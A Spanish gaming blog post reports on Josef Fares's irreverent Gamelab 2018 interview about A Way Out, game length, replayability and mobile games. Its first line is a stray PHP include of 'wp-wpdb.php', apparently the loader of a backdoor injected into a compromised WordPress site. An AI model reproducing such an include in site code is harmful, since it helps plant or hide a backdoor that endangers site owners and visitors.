if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); [Gamelab] Entrevista a Josef Fares, creador de A Way Out – La Fortaleza de LeChuck

[Gamelab] Entrevista a Josef Fares, creador de A Way Out

Antes de los Game Awards 2017, pocos conocían a Josef Fares, pero tras aquella breve pero intensa entrevista donde gritó su «fuck the Oscars», saltó a los medios de comunicación. Y es que Josef es así: irreverente y atrevido, pero ante todo un gran diseñador. Su reencuentro con Geoff nos regaló la entrevista más divertida del Gamelab 2018.

Si no fuera por él, la última edición de los GOTY hubiera pasado sin pena ni gloria. El diseñador de A Way Out le dio la chispa necesaria con una entrevista que empezó de forma normal y corriente pero que a los segundos se desvió por el camino que Josef quería lanzando una crítica a la industria bajo su «Fuck the Oscars» + su dedito en la cámara. Geoff no sabía donde meterse y seguro que por su cabeza pasó la opción de cortar la emisión, pero aguantó el tipo como buenamente pudo.

Seguramente Josef y Geoff han coincidido a lo largo del año en más ferias y habrán rememorado de sobras el incidente echándose unas risas. De hecho, minutos antes de subir al escenario, charlaban animadamente.  Cuando tomaron finalmente asiento, se miraron con complicidad sabiendo que el público esperaba una mención al tema, y Josef no tardó ni un segundo en analizar con todo lujo de detalles aquel momento. Geoff, como de costumbre, mantenía esa actitud estoica pero sonreía ante las ocurrencias de Fares, y así fue durante toda la entrevista. La gente empezó a reír y no paró hasta que bajaron del escenario.

Geoff arranca la entrevista hablando del éxito de A Way Out, un juego editado por EA pero donde tuvieron total libertad. Una de las condiciones para Josef es que EA no metiera las narices en su juego y así fue, por eso se pregunta por qué la gente tiene tanta manía a EA. Él confiaba en su idea de diseño y sabía que iba a salir bien. «Y a los que no les gusta A Way Out, seguro que dentro de 5 años les molará», señala Josef Fares ante las carcajadas del público.

A Way Out estaba compuesto por un equipo donde el 70% eran becarios. Empezaron con 10 personas, luego subió a 20 y finalmente fueron 40. Ahora son más y disponen de personal experimentado. Pero durante el desarrollo de A Way Out se presentaron muchos obstáculos por la inexperiencia y estuvieron a nada de no lanzar el juego.

Uno de los mensajes que incansablemente repitió era el de confiar en tu diseño y que nadie te lo cambie. Él escucha el feedback que le dan pero no permite que ni editores ni personas ajenas a su juego le transformen su visión. Recuerda que por ahí le decían cosas como que no triunfaría por ser coop, por ejemplo. «A mi me dan igual los editores. Me importa el juego. Siempre voy a hacer lo que me da la gana. Prefiero barrer calles a cambiar algo». Otro comentario de Josef y otra tanda de risotadas desde las butacas.

Su objetivo es contar historias de forma original y conmover al jugador. Como director de cine que fue, sabe que en comparación con el séptimo arte, en los videojuegos aún hay mucho margen para crear cosas nuevas y en su próximo juego explorará nuevos horizontes.

Muchas de las risas y aplausos tuvieron que ver con los sutiles intentos de Geoff de extraer información sobre su proyecto, pero Josef las pillaba al vuelo y le metía bronca de forma muy divertida, incluso realizó un movimiento de mano raro y avisó de que no iba a hacer nada con el dedo, que estuviera tranquilo. «Soy buena gente si preguntas por ahí. En los GOTY estaba un poco… «. Se oyen risas de nuevo.

En cuanto a los juegos que le inspiran, indica que cada vez hay menos pero cita God of War por la valentía de salirse de lo establecido y asumir riesgos. La entrevista a menudo se iba por otros derroteros debido a la verborrea con una buena dosis de tacos de Josef. Y hay algunos comentarios que son dignos de enmarcar, uno de ellos: «Para mí una casa sin juegos es como una casa sin baño. Es para decir: ¿a ti qué te pasa?».

Los temas a los que más vueltas se les dio fueron rejugabilidad y duración, cuestiones que le cabrean muchísimo y que criticó de mil maneras distintas. Y cada vez con más intensidad para asombro y risas del público. Para el diseñador, estos dos conceptos son absurdos hoy en día, ya que ni la mitad de jugadores terminan los juegos. Solo el 50 % ha completado A Way Out, por eso no le ve sentido a añadir más horas a los títulos ni hacerlos rejugables. Sin embargo, este argumento no convencía a Geoff (o más bien quería chincharle) y continúo explorando la rejugabilidad y duración + precio. Josef con indignación intentaba justificar que lo importante es la experiencia de juego y no las horas, además de que los precios de los juegos apenas han cambiado de unas décadas a esta parte, y por entonces duraban menos que ahora. «Si quieres tener sexo no te cronometras, puede durar 20 minutos, 1 hora o 5 minutos, incluso si son 5 puede ser el mejor», responde de forma traviesa. Se oyen carcajadas en todo el auditorio.

Su opinión es cristalina: la duración es un mal que deben dejar de valorar los críticos y jugadores. Cuando se diseña un juego, el responsable sabe cuánto tiene que durar, es un error alargarlo artificialmente para que cumpla un determinado número de horas. Además, ni la mitad de jugadores suelen finalizarlos.

El turno de preguntas fue muy interesante. Un valiente se atrevió a volver a sacar el tema de la rejugabilidad y Josef se armó de paciencia y repitió de nuevo su opinión. También se le preguntó sobre el juego local, algo que se está perdiendo y con lo que Josef disfruta y quiere seguir apoyando. En ese momento le suelta a Geoff si ha jugado en local, pero este le responde que fue online… Y a lo gamberro le dice que han de jugar juntos desde el mismo sofá.

Una de las últimas preguntas y que nos hizo troncharnos, fue sobre los juegos móviles. Josef ni corto ni perezoso dijo que los juegos para móvil son una mierda. «El teléfono sirve para llamar». Nada más que añadir, señoría.

Si no llegan a despedir la entrevista, Josef Fares nos hubiera mantenido pegados al asiento durante horas. Lo que me quedó claro es que si no existiera un tipo así habría que inventarlo. Divertido y gamberro, y con unas ideas claras que seguro que le llevarán de nuevo hacía el éxito. Tras salir del auditorio no lo dudamos un momento y le pedimos una foto en modo «fuck the Oscars», a lo que él responde: «Of course, fuck’em!» Qué gran tipo.

Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

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